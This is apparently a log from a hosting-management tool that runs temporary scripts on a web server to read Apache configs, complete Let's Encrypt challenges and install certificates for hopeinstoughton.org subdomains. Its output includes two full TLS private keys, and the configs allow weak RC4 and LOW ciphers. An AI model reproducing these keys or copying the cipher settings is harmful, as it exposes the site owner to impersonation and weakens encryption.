Group: name="www-data" id=33
.


2025-12-12 06:00:41: 

PUT: /tmp/pkp949077

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-12 06:00:41: 

chmod 755 /tmp/pkp949077; /tmp/pkp949077; rm /tmp/pkp949077

2025-12-12 06:00:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf	1431

<VirtualHost *:80>
    ServerName	list.hopeinstoughton.org
    ServerAlias	list.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	list.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-12 06:00:41: 

PUT: /tmp/pkp932713

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-12 06:00:41: 

chmod 755 /tmp/pkp932713; /tmp/pkp932713; rm /tmp/pkp932713

2025-12-12 06:00:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt	5413
89:f9:2a:55:a9:ad:35:d7:06:14:bf:67:fb:e3:7a:45

-----BEGIN CERTIFICATE-----
MIIFKjCCBBKgAwIBAgISBQs0FWoOadCIu2/N0Lakx9RwMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjEyMDUwMjA5WhcNMjYwMzEyMDUwMjA4WjAjMSEwHwYDVQQD
ExhsaXN0LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCy1FLB8yxucrlAcaB2Y3SUUFxYMHZbfioL3mwzP4ULemVTWwIb
7kCAx975uVW/KaH3b/R7PvezLmg1cYeIlOlYIkPo93TGmdQqrdppJJQm0rg8q1Bn
wmTIau+4LynrrkTY4XCvIMoOKlEORmCrTc92htZunwkjR2lvDXpEPUT3P80Qsvgd
yMwQBrnLAOpvdjyzgSDesqNdB1IeKGgLLwr8y7yllACOzEfxFiuG5vtUGUFBPYeR
qzpyoATXi2zhyiG8rQH+pf1pUuiCc5HT/b/P5E8tFFbWE3U1nMRGmDc4Hvxn4ZKV
zRWWSOn6Mm+h3qdoTJqXmRkOdnGKXWsiPPYJAgMBAAGjggJGMIICQjAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFK3s5EGgewRtx3E29UjMMr42FbL3MB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wOAYDVR0RBDEwL4IYbGlzdC5ob3Bl
aW5zdG91Z2h0b24ub3JnghNsaXN0LnN0b3VnaHRvbi5saW5rMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5v
cmcvMTEzLmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB3AMs49xWJfIShRF9b
wd37yW7ymlnNRwppBYWwyxTDFFjnAAABmxElqt8AAAQDAEgwRgIhAOzq5bCnHEK3
CgjoYu2lGxMCys8yiGJFhtVUfutfIVmcAiEAvR3nZ7plwtFGUAbuY3BIQE2rfSEv
TMjKkDcMDiNJosUAfQBxfpXzwjiKbbHjhEk9MeFaqWIIdi1CAOAFDNBntaZh4gAA
AZsRJausAAgAAAUAA/GSDAQDAEYwRAIgcCc49RZLRy2RKWxhoJtTrOan5pRhqk5w
VHSj1WCNa7oCIA52BQjdpeXa1S5oXr4yyhiuSlxr36OXPLDbZqZ4aPdMMA0GCSqG
SIb3DQEBCwUAA4IBAQABuhabAQmaGwaizRKCrqSxh0c6f/fKAPL+D/Cs0yeA0z3d
FzClA6EjnICY2NDHOvxuUtkppArNhZ4Qp/2jRZm3XubCYAhOGIPj9rijegFKn6ce
WSV6f5T6pJIAloL9k4tLv6dsGBngJSoBj0XNmzKOznTkrDwe1QKGJi7EBlN5BFTb
9DNeHybZkIBfROwZZTnD3O74zJT4z2Sx0EEhabhAkjI6MycNmZOXNx573TXR6jN0
nxr1LyL0Hk095kyR9pvNEEmeHmiySGEl7niAILJZTdX8owJcpi0ubOPbWzixT0wP
A9fE6LJxMRZNmMLwc27BPBJYWK+CGZ1ohpoF7oqd
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCy1FLB8yxucrlA
caB2Y3SUUFxYMHZbfioL3mwzP4ULemVTWwIb7kCAx975uVW/KaH3b/R7PvezLmg1
cYeIlOlYIkPo93TGmdQqrdppJJQm0rg8q1BnwmTIau+4LynrrkTY4XCvIMoOKlEO
RmCrTc92htZunwkjR2lvDXpEPUT3P80QsvgdyMwQBrnLAOpvdjyzgSDesqNdB1Ie
KGgLLwr8y7yllACOzEfxFiuG5vtUGUFBPYeRqzpyoATXi2zhyiG8rQH+pf1pUuiC
c5HT/b/P5E8tFFbWE3U1nMRGmDc4Hvxn4ZKVzRWWSOn6Mm+h3qdoTJqXmRkOdnGK
XWsiPPYJAgMBAAECggEAYc3T8TVQ8JsYDFHYw8cDJHaK+sSOht2Km3ErViAAYNWx
AxS8I5B7gLNPlN6zMdjQN2bonFtE15+i6M/No3pl4IjlAU4NdOz+59SrpmOWD2Gh
17SORiFAQ4iQ0Pgigj6OctthaLaTK4ojSJ5fEnF87MM0Fc4vDjdpR45kd1vXEy3L
2RF8weQUnar+EwwhKBYNUE8gDeCTAlKl55VNMWLBthD39+L3SlyTv0ur5wjB1MJE
RF/vNwkg2tY8zy2HRIZf0Eo/k/Zy4pnSi5S88/Xfs2LxeiEjzPU7fiS+13ndqnrl
qVYYaEz3ZR4fAQgtdmoKYW43XLkdscMqWUzty8gzPQKBgQDor3jS+OYVUPUZrvvg
FfU7HEEJyEaywoXmRXOVGQdaN0xgIsKC+aGdGSuGTxir1MJE55oiKEUgNPZUI/N8
o7UV8GDsqa6BDyvOvhaB2XYi7U30Q67rs/G59BviMECilSW1HiGPm+ZXystEAQfM
h9Z4DfORuCgYhvi/SEGE9hR+HwKBgQDEv2jiofZF24w+3gfTD1Kr6OIcGCNwiVLf
oMYaTKBbuQPfGA5pqu/tu0mUMWUDXxz7t5COy09DKLxBaGs3s0+IGOBFmQhDlcrt
wr1+Tqjent/FeUPzSuvEuyCVjJsRGjA1ZSKcwq6OLxmn5LszNsamKTnpASZDMiuq
q3oMNQO21wKBgHYv6qb+VZ+uJ1CMWNNRU+ZaS460c3SI6Yo07Khmth1UyS5reXEd
asFo73qg4l8lCigFm3yOB858GEJUoHBGlsw19IVBCqnzEsVIOBZsZl0HO/k+B7Mh
Cz7whtk0uR/bsfN1Aob3IOCm2OgJvfRdaspAC9+QMo2CwQYnpV/rvizxAoGBALg7
ZEOT1cBkbVcRIdKJLqi7Ub9s+wKOFIRDUD2gMyiwfueQ5y4bWsAJ+EREXIpjrggn
Q73ysy34HxBAbuWhin+ui5OgURS4V2V8TWTQ02Bi9Lc9bluLdGqrrz9agnnpQ+s7
4MVZp4qMoEGO9ZxnVmyRfiCpauLRQAJ4v7hejDPRAoGBAIWFZv5w5jLj1NAQ/vEq
LLZRFrlFLFbXwyuDR3WSduUARUSBwfqi/wxZkIgW6QIvfSWqqjlmPd4AxIfprHwX
62Yg47DQNoyF+C7RT8qvMnZ4Xs8X5KKrwzXKpl4WTuAtFxFVoukzNkDux5ZM7SL2
nNO3NdRViF4/O6JZpnMTPEmh
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-12 06:00:41: Establishing a connection
2025-12-12 06:00:42: Establishing a connection
2025-12-12 06:00:42: 

PUT: /tmp/pkp243258

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_text/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-12 06:00:42: 

chmod 755 /tmp/pkp243258; /tmp/pkp243258; rm /tmp/pkp243258

2025-12-12 06:00:42: 


1


2025-12-12 06:00:42: Establishing a connection
2025-12-12 06:00:43: 

PUT: /tmp/pkp682211

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_text/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_text/.well-known/acme-challenge/"
cat > yF6XHfa5Yo9FcpMhYj4We-7bMkGn9xKs0zNGluizlhM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
yF6XHfa5Yo9FcpMhYj4We-7bMkGn9xKs0zNGluizlhM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 yF6XHfa5Yo9FcpMhYj4We-7bMkGn9xKs0zNGluizlhM
cat > 119yfhU6qam5LEffs1DsOK_mRwZoNvWuj5S-24fvhWs <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
119yfhU6qam5LEffs1DsOK_mRwZoNvWuj5S-24fvhWs.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 119yfhU6qam5LEffs1DsOK_mRwZoNvWuj5S-24fvhWs


2025-12-12 06:00:43: 

chmod 755 /tmp/pkp682211; /tmp/pkp682211; rm /tmp/pkp682211

2025-12-12 06:00:43: 




2025-12-12 06:00:51: Establishing a connection
2025-12-12 06:00:51: 

PUT: /tmp/pkp115099

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_text/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_text/.well-known/acme-challenge/"
rm yF6XHfa5Yo9FcpMhYj4We-7bMkGn9xKs0zNGluizlhM
rm 119yfhU6qam5LEffs1DsOK_mRwZoNvWuj5S-24fvhWs


2025-12-12 06:00:51: 

chmod 755 /tmp/pkp115099; /tmp/pkp115099; rm /tmp/pkp115099

2025-12-12 06:00:51: 




2025-12-12 06:00:51: Establishing a connection
2025-12-12 06:00:51: 

PUT: /tmp/pkp362579

#!/bin/bash
temp_file=$(mktemp)
TARGET=94911c6cf6fdc3591c65d93ede1a6ecb.crt

cat > $temp_file <<'endmsg'
94:39:fa:87:f4:72:72:05:23:cd:40:16:6f:de:c8:2f

-----BEGIN CERTIFICATE-----
MIIFJjCCBA6gAwIBAgISBT/fN7hiYdVooEboSJQDltDdMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjEyMDUwMjIwWhcNMjYwMzEyMDUwMjE5WjAjMSEwHwYDVQQD
Exh0ZXh0LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCpF06Z9ijRmY1ZtdPJnA+JQFijEUt7P2WRX+SthIYvNB4M2LRN
c0kV71wWmJQZbx98upY+Uw/l+cSpokiTXNbOhD6TGONpAk2u3fwcDQm+4muEWVfF
Bx+0lwXf2f3JZzUx1DYirpZgRVPqzxH4NrePxaG4OVA/5jJNJQn1OV7ZDM9iTatx
ysBTDcl6P3Qll6eFHr6lyr8/YYsL3caoUiO2Z3srmnib3mHSiM24HJi3/FWNFhhK
4Cmg14UwSH0w6Hsk06tAfg44ufRiafzwJHG2m4G/oJuVkB9ieVX/++Gs/6ptbx05
m/0Ps6knPaKF7Nyc7ibhE7Q0cMbCSaHaGbm9AgMBAAGjggJCMIICPjAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFC43PRnADxbS/EDMVvj4zHuOhP1FMB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wPAYDVR0RBDUwM4IXc21zLmhvcGVp
bnN0b3VnaHRvbi5vcmeCGHRleHQuaG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAE
DDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEzLmMubGVu
Y3Iub3JnLzk0LmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB2AEmcm2neHXzs
/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAABmxEl1mAAAAQDAEcwRQIhAIhgnQJp
8xuwoPOBNxk79KnR/gfvAQyscos0u+VhdlWXAiBoBVyubD0FN7ykIyv+sD5oT6eH
MMff++cN5ks4MJY6egB3ABaDLavwqSUPD/A6pUX/yL/II9CHS/YEKSf45x8zE/X6
AAABmxEl1okAAAQDAEgwRgIhAMYt10oFXzjRDdJ0wpX4ST/KpGqfsFD793f3agwE
IeooAiEAu7n9E0c93PTBVaJpcDU76gMOgr0G4hMSVjRO9kP/TzgwDQYJKoZIhvcN
AQELBQADggEBABv19fwcK769bVN5fNziGDO96K8nyrT+F+Y3Y4L70lhpCKCZw9WY
l2XIAjgy3h3JKXqRhnw4Mtbo3HmsXZpJ71ncIbWoEvX9/uo9K0rsCHMXPjlo/BP2
MsO0F3iDySVHUqJUlzArw2maRYOX+oDzxTgvok77Ft8JNOALNBaJHsR++LCfaxkB
h3FkXPdnC7A3124js8/tsq75GGgoEOkssbS8NmWpxHKHpXIGxgcFFTR01jYCQDD5
wEzvVAJ/heCFLOJIEBDYIQuaJmpMx/n2apd+Hfz33K+mbsyj/v7MIUt0cqg7efqM
Knd0apbmKvgIMdR7V2Zq6Z65P2Ihn5ccBi0=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCpF06Z9ijRmY1Z
tdPJnA+JQFijEUt7P2WRX+SthIYvNB4M2LRNc0kV71wWmJQZbx98upY+Uw/l+cSp
okiTXNbOhD6TGONpAk2u3fwcDQm+4muEWVfFBx+0lwXf2f3JZzUx1DYirpZgRVPq
zxH4NrePxaG4OVA/5jJNJQn1OV7ZDM9iTatxysBTDcl6P3Qll6eFHr6lyr8/YYsL
3caoUiO2Z3srmnib3mHSiM24HJi3/FWNFhhK4Cmg14UwSH0w6Hsk06tAfg44ufRi
afzwJHG2m4G/oJuVkB9ieVX/++Gs/6ptbx05m/0Ps6knPaKF7Nyc7ibhE7Q0cMbC
SaHaGbm9AgMBAAECggEAAvo4Fhnxig9MH+JFwm0PEPmjFev+CkOJhE/N9Qg6XKZs
SQmf0yVOiiZW1scFBJWiVk3qy1onE4OcZOhIot+loKlPeMOdbYHu4D9kaxIHs+bE
weXY181ST5nBLrnl8B/zHdeAxIeSekt+OMpApMBB5zQxrs7DjPx+skEOtdS2yNeb
jfKllmqvrv1CbOVupQLGTov5gv6bzkX78uOuckLPgJG1ITjaL9POUn8FmBrlYYDN
HwneX2c+p/ch8w17n/PogbV5FddAKtYfNMjxmpbWrpZXvaWvboHmV6rYI8sL3Amr
7hcjYuzl/wWS5Kzq+mlqtyza8ZlV0kS0+SQ7/QkKeQKBgQDgq05FcxCt4ylMnbew
3hg5KXTtE1LdOpaIojItnhzOIXoF4wgOczcqS8oryfDbjULzsHeF2uO7wKmZa81g
pxsr6y0EWID/vELIUncdR/DADIdEJ+Q4E1u5BuXu1YNiq2+UvIZ6nmZuRfiVh+Kd
68rZSRpKqT2nCgYtoP2bzvcLjwKBgQDAq9xzg1MeC2m4R3zF19IbGQy+uQqPvkug
KsAneNkaRFqrNJxOgA8A4yykyTy2bFj3amAlAu1UwvGZpYy1SZKkft5g9Tlk+7xg
NvVzD3rX8p1DXNrDTKsdsPEPnuTUZQzDqgRCUJvXkXrDQxz6/W2hlnlTBaOZ5fkv
kbjqsp2v8wKBgQDcX6wa+071AclU2a+A0Zk5GK0UjsvNLNbTlyVZEap3lua2N4eD
hQgreMQKR7713I47snDK33ZaiBTT5KZDlCZW4gv6I0YFk4h+LkWgdxxzhNZ5yBdX
2cUyrM2Fg/GoKzj70CCozg7zQ7ceFXf4J32FvOsJKRDMdEyzHSMmXdB9iQKBgQCs
/eI7CQ+o60BqCC28iZIJaI1r9ULJW2gVkCzlg/kSP4tVKzCovww5lL+x2Umc1V1w
EF/w+1bSgxJgDSdwYnW7InpSffuhcvFpRg9N1vlKSXjwUb/OGNmPGB7pEpaNKYmz
aMTYMf4rKGEcTvcHWGKF8lBOvcJt3PHGx0VL3UH+BwKBgQC/K9jF86V711JFydcC
ZlSLHeyeQXTwe3G+FX4eUjxG9cXt+W0ef7fTEnF6W9AMseEhzGuoxJmBpvqWVQkO
rKZtyvUtxGC/Atxk51epeaczxUxsNr+E7UW6jafgoxxP2KAccbGzgypq4rEbwwx/
/OlRRFMeqZsGJiJNVhn4ggu5MA==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-12 06:00:51: 

chmod 755 /tmp/pkp362579; /tmp/pkp362579; rm /tmp/pkp362579

2025-12-12 06:00:51: 


dir=/etc/ssl/certs


2025-12-12 06:00:51: 

PUT: /tmp/pkp748647

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-12 06:00:52: 

chmod 755 /tmp/pkp748647; /tmp/pkp748647; rm /tmp/pkp748647

2025-12-12 06:00:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf 58

<VirtualHost *:80>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_secure_error.log
